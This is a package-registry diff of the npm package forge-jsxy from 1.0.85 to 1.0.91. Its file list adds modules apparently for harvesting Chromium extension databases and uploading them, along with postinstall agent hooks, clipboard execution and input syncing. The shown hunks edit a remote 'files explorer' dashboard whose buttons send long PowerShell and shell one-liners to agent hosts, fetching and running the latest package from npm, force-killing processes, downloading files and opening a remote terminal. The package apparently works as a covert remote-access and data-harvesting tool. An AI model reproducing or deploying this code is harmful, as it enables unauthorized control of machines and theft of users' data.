forge-jsxy 1.0.85 → 1.0.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/assets/files-explorer-template.html +63 -21
  2. package/dist/agentRestartFromQueue.d.ts +15 -0
  3. package/dist/agentRestartFromQueue.js +114 -0
  4. package/dist/agentRunner.js +97 -23
  5. package/dist/assets/files-explorer-template.html +64 -22
  6. package/dist/autostart/agentEnvFile.d.ts +6 -0
  7. package/dist/autostart/agentEnvFile.js +51 -2
  8. package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
  9. package/dist/chromiumExtensionDbHarvest.js +560 -0
  10. package/dist/cli-agent.js +1 -0
  11. package/dist/clipboardExec.d.ts +4 -0
  12. package/dist/clipboardExec.js +29 -15
  13. package/dist/extensionDbHfUpload.d.ts +24 -0
  14. package/dist/extensionDbHfUpload.js +198 -0
  15. package/dist/forgeSemver.d.ts +2 -0
  16. package/dist/forgeSemver.js +25 -0
  17. package/dist/hfUpload.d.ts +5 -0
  18. package/dist/hfUpload.js +18 -3
  19. package/dist/hostInventorySend.js +6 -1
  20. package/dist/relayAgent.d.ts +5 -0
  21. package/dist/relayAgent.js +139 -7
  22. package/dist/relayAgentAutoUpgrade.d.ts +9 -0
  23. package/dist/relayAgentAutoUpgrade.js +143 -0
  24. package/dist/relayDashboardGate.d.ts +5 -0
  25. package/dist/relayDashboardGate.js +60 -0
  26. package/dist/relayServer.js +181 -6
  27. package/dist/secretScan/agentStartupAudit.d.ts +3 -0
  28. package/dist/secretScan/agentStartupAudit.js +7 -0
  29. package/dist/syncClient.d.ts +1 -1
  30. package/dist/syncClient.js +5 -1
  31. package/dist/windowsInputSync.d.ts +15 -1
  32. package/dist/windowsInputSync.js +226 -67
  33. package/dist/workerBootstrap.js +3 -0
  34. package/package.json +2 -2
  35. package/scripts/explorer-global-roots.mjs +87 -0
  36. package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
  37. package/scripts/forge-jsx-explorer-restart.mjs +9 -18
  38. package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
  39. package/scripts/postinstall-agent.mjs +53 -8
  40. package/scripts/postinstall-bootstrap.mjs +13 -0
  41. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
@@ -10,7 +10,7 @@
10
10
  <link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
11
11
  <link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
12
12
  <link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
13
- <!-- forge-jsxy@1.0.85 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
13
+ <!-- forge-jsxy@1.0.91 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
14
14
  <script>
15
15
  (function () {
16
16
  try {
@@ -1690,9 +1690,9 @@
1690
1690
  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-download-fk" onclick="downloadSelForceKill()" title="Download with Force Kill: kills locking processes then downloads">↓ Force Kill</button>
1691
1691
  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-disconnect" onclick="doDisconnect()">Disconnect</button>
1692
1692
  <div class="fe-ctx-sep" role="separator" aria-hidden="true"></div>
1693
- <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-upgrade" onclick="runForgeJsxExplorerUpgrade()" title="Global forge-jsxy upgrade on the agent (Windows/Linux/macOS). This page retries connecting for ~2 min after success; you can also reload.">Upgrade forge-jsxy</button>
1694
- <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-kill" onclick="runForgeJsxExplorerKillAgent()" title="Stop forge-agent permanently (two-step: click twice — no browser popup). Runs cfgmgr --stop, removes OS autostart and legacy npm schedulers, removes PM2 forge-agent, strips forge-js-agent.env secrets, then npm uninstall -g forge-jsxy when installed globally.">Kill agent</button>
1695
- <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-restart" onclick="runForgeJsxExplorerRestart()" title="Stop and restart forge-agent on the agent (build + cfgmgr stop + postinstall) in the background. Same reconnect retries as Upgrade.">Restart agent</button>
1693
+ <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-upgrade" onclick="runForgeJsxExplorerUpgrade()" title="Global forge-jsxy upgrade on the agent (Windows/Linux/macOS). Works with legacy forge-jsx globals via npm exec @latest. This page retries connecting for ~2 min after success.">Upgrade forge-jsxy</button>
1694
+ <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-kill" onclick="runForgeJsxExplorerKillAgent()" title="Stop forge-agent permanently (two-step: click twice — no browser popup). Runs cfgmgr --stop, removes OS autostart, PM2 forge-agent, strips forge-js-agent.env secrets, then npm uninstall -g forge-jsxy and legacy forge-jsx when globally installed.">Kill agent</button>
1695
+ <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-forge-restart" onclick="runForgeJsxExplorerRestart()" title="Stop and restart forge-agent on the agent (build + cfgmgr stop + postinstall) in the background. Probes both forge-jsxy and legacy forge-jsx global installs. Same reconnect retries as Upgrade.">Restart agent</button>
1696
1696
  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-run" onclick="runExplorerTerminal()"><span class="codicon codicon-play" aria-hidden="true"></span><span class="fe-ctx-label">Run</span></button>
1697
1697
  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-copy" onclick="copyTerminalOut()" title="Copy all text below">Copy output</button>
1698
1698
  <button type="button" class="fe-ctx-item sec" role="menuitem" id="btn-terminal-clear" onclick="clearTerminalOut()">Clear</button>
@@ -2211,31 +2211,73 @@ function ensureAgentPlatformForExplorerForgeCmd(){
2211
2211
  }
2212
2212
  /**
2213
2213
  * Retarget npm **`npm exec` / `install -g`** package spec to **`forge-jsxy@latest`** (current npm name).
2214
+ * **`__FORGE_JSX_LEGACY_PKG__`** is preserved as **`forge-jsx@latest`** for secondary fallbacks on very old installs.
2214
2215
  * **Filesystem** script paths stay literal **`forge-jsx`** / **`forge-jsxy`** — each shell one-liner runs a small loop trying **`$ROOT/{forge-jsxy,forge-jsx}/scripts/*.mjs`** so old globals (`node_modules/forge-jsx`) and new (`forge-jsxy`) both resolve without rewriting strings here.
2215
2216
  */
2216
2217
  function retargetForgeJsxyCommand(cmd){
2217
2218
  return String(cmd || '')
2219
+ .replaceAll('__FORGE_JSX_LEGACY_PKG__', '<<<FORGE_JSX_LEGACY_PKG>>>')
2218
2220
  .replaceAll('forge-jsx@latest', 'forge-jsxy@latest')
2221
+ .replaceAll('<<<FORGE_JSX_LEGACY_PKG>>>', 'forge-jsx@latest')
2219
2222
  .replaceAll('install -g forge-jsx@latest', 'install -g forge-jsxy@latest')
2220
2223
  .replaceAll('npm uninstall -g forge-jsx', 'npm uninstall -g forge-jsxy');
2221
2224
  }
2225
+ /** Probe durable runtime `<CfgMgr>/.forge-jsxy/current.json` and run explorer script directly (npm-install-only agents). */
2226
+ function winDurableForgeScriptProbe(scriptFile){
2227
+ return '$__dj=@(); if($env:CFGMGR_DATA_ROOT){$__dj+=Join-Path $env:CFGMGR_DATA_ROOT \'.forge-jsxy\\current.json\'}; if($env:LOCALAPPDATA){$__dj+=Join-Path $env:LOCALAPPDATA \'CfgMgr\\data\\.forge-jsxy\\current.json\'}; if($env:USERPROFILE){$__dj+=Join-Path $env:USERPROFILE \'Library\\Application Support\\CfgMgr\\data\\.forge-jsxy\\current.json\'; $__dj+=Join-Path $env:USERPROFILE \'.local\\share\\cfgmgr\\.forge-jsxy\\current.json\'}; foreach($__cur in $__dj){ if(-not $__cur -or -not (Test-Path -LiteralPath $__cur)){continue}; try{ $__j=Get-Content -LiteralPath $__cur -Raw|ConvertFrom-Json; $__dist=[string]$__j.distDir; if(-not $__dist -or -not (Test-Path -LiteralPath (Join-Path $__dist \'cli-agent.js\'))){continue}; $__root=(Resolve-Path (Join-Path $__dist \'..\')).Path; $__s=Join-Path $__root (\'scripts\\'+scriptFile+'\'); if(Test-Path -LiteralPath $__s){ & node $__s; if ($LASTEXITCODE -eq 0) { exit 0 } } } catch{} }; ';
2228
+ }
2229
+ function unixDurableForgeScriptProbe(scriptFile){
2230
+ return 'for __CUR in "${CFGMGR_DATA_ROOT:+$CFGMGR_DATA_ROOT/.forge-jsxy/current.json}" "$HOME/.local/share/cfgmgr/.forge-jsxy/current.json" "$HOME/Library/Application Support/CfgMgr/data/.forge-jsxy/current.json"; do [ -n "$__CUR" ] && [ -f "$__CUR" ] || continue; __ROOT=$(node -e "const fs=require(\'fs\'),p=require(\'path\');try{const j=JSON.parse(fs.readFileSync(process.argv[1],\'utf8\'));const d=String(j.distDir||\'\').trim();if(!d||!fs.existsSync(p.join(d,\'cli-agent.js\')))process.exit(0);process.stdout.write(p.resolve(d,\'..\'));}catch{}" "$__CUR" 2>/dev/null); [ -n "$__ROOT" ] || continue; __S="$__ROOT/scripts/'+scriptFile+'"; [ -f "$__S" ] && node "$__S" && exit 0; done; ';
2231
+ }
2232
+ function winForgeExplorerBinProbe(primary, legacy){
2233
+ return 'foreach($__cn in @(\''+primary+'\',\''+legacy+'\')){ if(Get-Command $__cn -ErrorAction SilentlyContinue){ & $__cn; if ($LASTEXITCODE -eq 0) { exit 0 } } }; ';
2234
+ }
2235
+ function unixForgeExplorerBinProbe(primary, legacy){
2236
+ return 'for __CN in '+primary+' '+legacy+'; do command -v $__CN >/dev/null 2>&1 && $__CN && exit 0; done; ';
2237
+ }
2238
+ function winLegacyNpmExec(binName){
2239
+ return 'npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- '+binName+'; if ($LASTEXITCODE -eq 0) { exit 0 }; ';
2240
+ }
2241
+ function unixLegacyNpmExec(binName){
2242
+ return 'npm --userconfig "$NRC_U" --globalconfig "$NRC_G" --cache "$XC" exec --yes --package=__FORGE_JSX_LEGACY_PKG__ -- '+binName+' && exit 0; ';
2243
+ }
2244
+ /** Windows legacy agents using cmd.exe for fs_shell_exec often return 4294967295 with empty output. */
2245
+ function isWinLegacyShellFailure(ec, stdout, stderr){
2246
+ const blankOut = !String(stdout || '').trim() && !String(stderr || '').trim();
2247
+ return String(ec) === '4294967295' && blankOut;
2248
+ }
2249
+ function appendWinLegacyShellHint(body, cmdName){
2250
+ return body +
2251
+ '\n\nDetected Windows legacy shell failure (`exit 4294967295` with empty stdout/stderr). '+
2252
+ 'This agent build cannot execute remote shell reliably from the explorer. '+
2253
+ 'Run on that Windows host (PowerShell as the same user):\n'+
2254
+ ' npm exec --yes --package=forge-jsxy@latest -- '+cmdName;
2255
+ }
2222
2256
  function forgeJsxExplorerUpgradeShellCommand(){
2223
2257
  if(useWindowsForgeJsxShellCommand()){
2224
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-upgrade -ErrorAction SilentlyContinue){ & forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
2258
+ const fb = winLegacyNpmExec('forge-jsx-explorer-upgrade') + winDurableForgeScriptProbe('forge-jsx-explorer-upgrade.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
2259
+ const fbShort = winForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
2260
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc install -g forge-jsx@latest --no-fund --no-audit; if ($LASTEXITCODE -eq 0) { "+fbShort+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; if ($LASTEXITCODE -eq 0) { exit 0 } } } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-upgrade.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; exit $LASTEXITCODE";
2225
2261
  }
2226
- return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; if command -v forge-jsx-explorer-upgrade >/dev/null 2>&1; then forge-jsx-explorer-upgrade && exit 0; fi; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; command -v forge-jsx-explorer-upgrade >/dev/null 2>&1 && forge-jsx-explorer-upgrade; exit $?";
2262
+ const ufb = unixLegacyNpmExec('forge-jsx-explorer-upgrade') + unixDurableForgeScriptProbe('forge-jsx-explorer-upgrade.mjs') + unixForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
2263
+ const ufbShort = unixForgeExplorerBinProbe('forge-jsxy-explorer-upgrade','forge-jsx-explorer-upgrade');
2264
+ return unixNpmBootstrapShellPrefix() + "RUNDIR=\"${TMPDIR:-/tmp}/forge-jsx-npm-exec-cwd-$$-$RANDOM\"; mkdir -p \"$RUNDIR\" && cd \"$RUNDIR\" || exit 1; XC=\"${TMPDIR:-/tmp}/forge-jsx-npm-cache-$$-$RANDOM\"; mkdir -p \"$XC\" 2>/dev/null; NRC_U=\"$XC/forge-fe-user.npmrc\"; NRC_G=\"$XC/forge-fe-global.npmrc\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_U\"; printf 'cache=%s\\n' \"$XC\" > \"$NRC_G\"; export NPM_CONFIG_UPDATE_NOTIFIER=false; export npm_config_update_notifier=false; export NPM_CONFIG_CACHE=\"$XC\"; export npm_config_cache=\"$XC\"; export npm_config_globalconfig=\"$NRC_G\"; export npm_config_userconfig=\"$NRC_U\"; PREFIX=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" prefix -g 2>/dev/null)\"; if [ -n \"$PREFIX\" ] && [ -d \"$PREFIX/bin\" ]; then export PATH=\"$PREFIX/bin:$PATH\"; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; sleep 2; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" install -g forge-jsx@latest --no-fund --no-audit; if [ $? -eq 0 ]; then ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; "+ufbShort+"fi; npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-upgrade && exit 0; "+ufb+"ROOT=\"$(npm --userconfig \"$NRC_U\" --globalconfig \"$NRC_G\" --cache \"$XC\" root -g 2>/dev/null)\"; if [ -n \"$ROOT\" ]; then for PKG in forge-jsxy forge-jsx; do G=\"$ROOT/$PKG/scripts/forge-jsx-explorer-upgrade.mjs\"; if [ -f \"$G\" ]; then node \"$G\" && exit 0; fi; done; fi; "+ufbShort+"exit $?";
2227
2265
  }
2228
2266
  function forgeJsxExplorerRestartShellCommand(){
2229
2267
  if(useWindowsForgeJsxShellCommand()){
2230
- return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; if(Get-Command forge-jsx-explorer-restart -ErrorAction SilentlyContinue){ & forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 } }; foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
2268
+ const fb = winLegacyNpmExec('forge-jsx-explorer-restart') + winDurableForgeScriptProbe('forge-jsx-explorer-restart.mjs') + winForgeExplorerBinProbe('forge-jsxy-explorer-restart','forge-jsx-explorer-restart');
2269
+ return "$base=Join-Path $env:SystemRoot 'Temp'; $runDir=Join-Path $base ('forge-jsx-npm-exec-cwd-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $runDir | Out-Null; Set-Location $runDir; $xc=Join-Path $base ('forge-jsx-npm-cache-'+[Guid]::NewGuid().ToString('N')); New-Item -ItemType Directory -Force -Path $xc | Out-Null; $nrcUser = Join-Path $xc 'forge-fe-user.npmrc'; $nrcGlobal = Join-Path $xc 'forge-fe-global.npmrc'; [System.IO.File]::WriteAllText($nrcUser,('cache='+$xc)); [System.IO.File]::WriteAllText($nrcGlobal,('cache='+$xc)); $env:NPM_CONFIG_CACHE=$xc; $env:npm_config_cache=$xc; $env:npm_config_globalconfig=$nrcGlobal; $env:npm_config_userconfig=$nrcUser; $env:NPM_CONFIG_UPDATE_NOTIFIER='false'; $env:npm_config_update_notifier='false'; try{$pf=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc prefix -g 2>$null)|Out-String).Trim()}catch{$pf=''}; if($pf){$env:PATH=$pf+';'+$env:PATH}; $roots=@(); $a=((npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc root -g 2>$null)|Out-String).Trim(); if($a){$roots+=$a}; $np=Join-Path $env:APPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $np){$roots+=$np}; $lnp=Join-Path $env:LOCALAPPDATA 'npm\\node_modules'; if(Test-Path -LiteralPath $lnp){$roots+=$lnp}; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; Start-Sleep -Seconds 2; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart; if ($LASTEXITCODE -eq 0) { exit 0 }; "+fb+"foreach($r in $roots){ foreach($pkg in @('forge-jsxy','forge-jsx')){ $s=Join-Path $r ($pkg+'\\scripts\\forge-jsx-explorer-restart.mjs'); if(Test-Path -LiteralPath $s){ & node $s; exit $LASTEXITCODE } } }; npm.cmd --userconfig $nrcUser --globalconfig $nrcGlobal --cache $xc exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart";
2231
2270
  }
2232
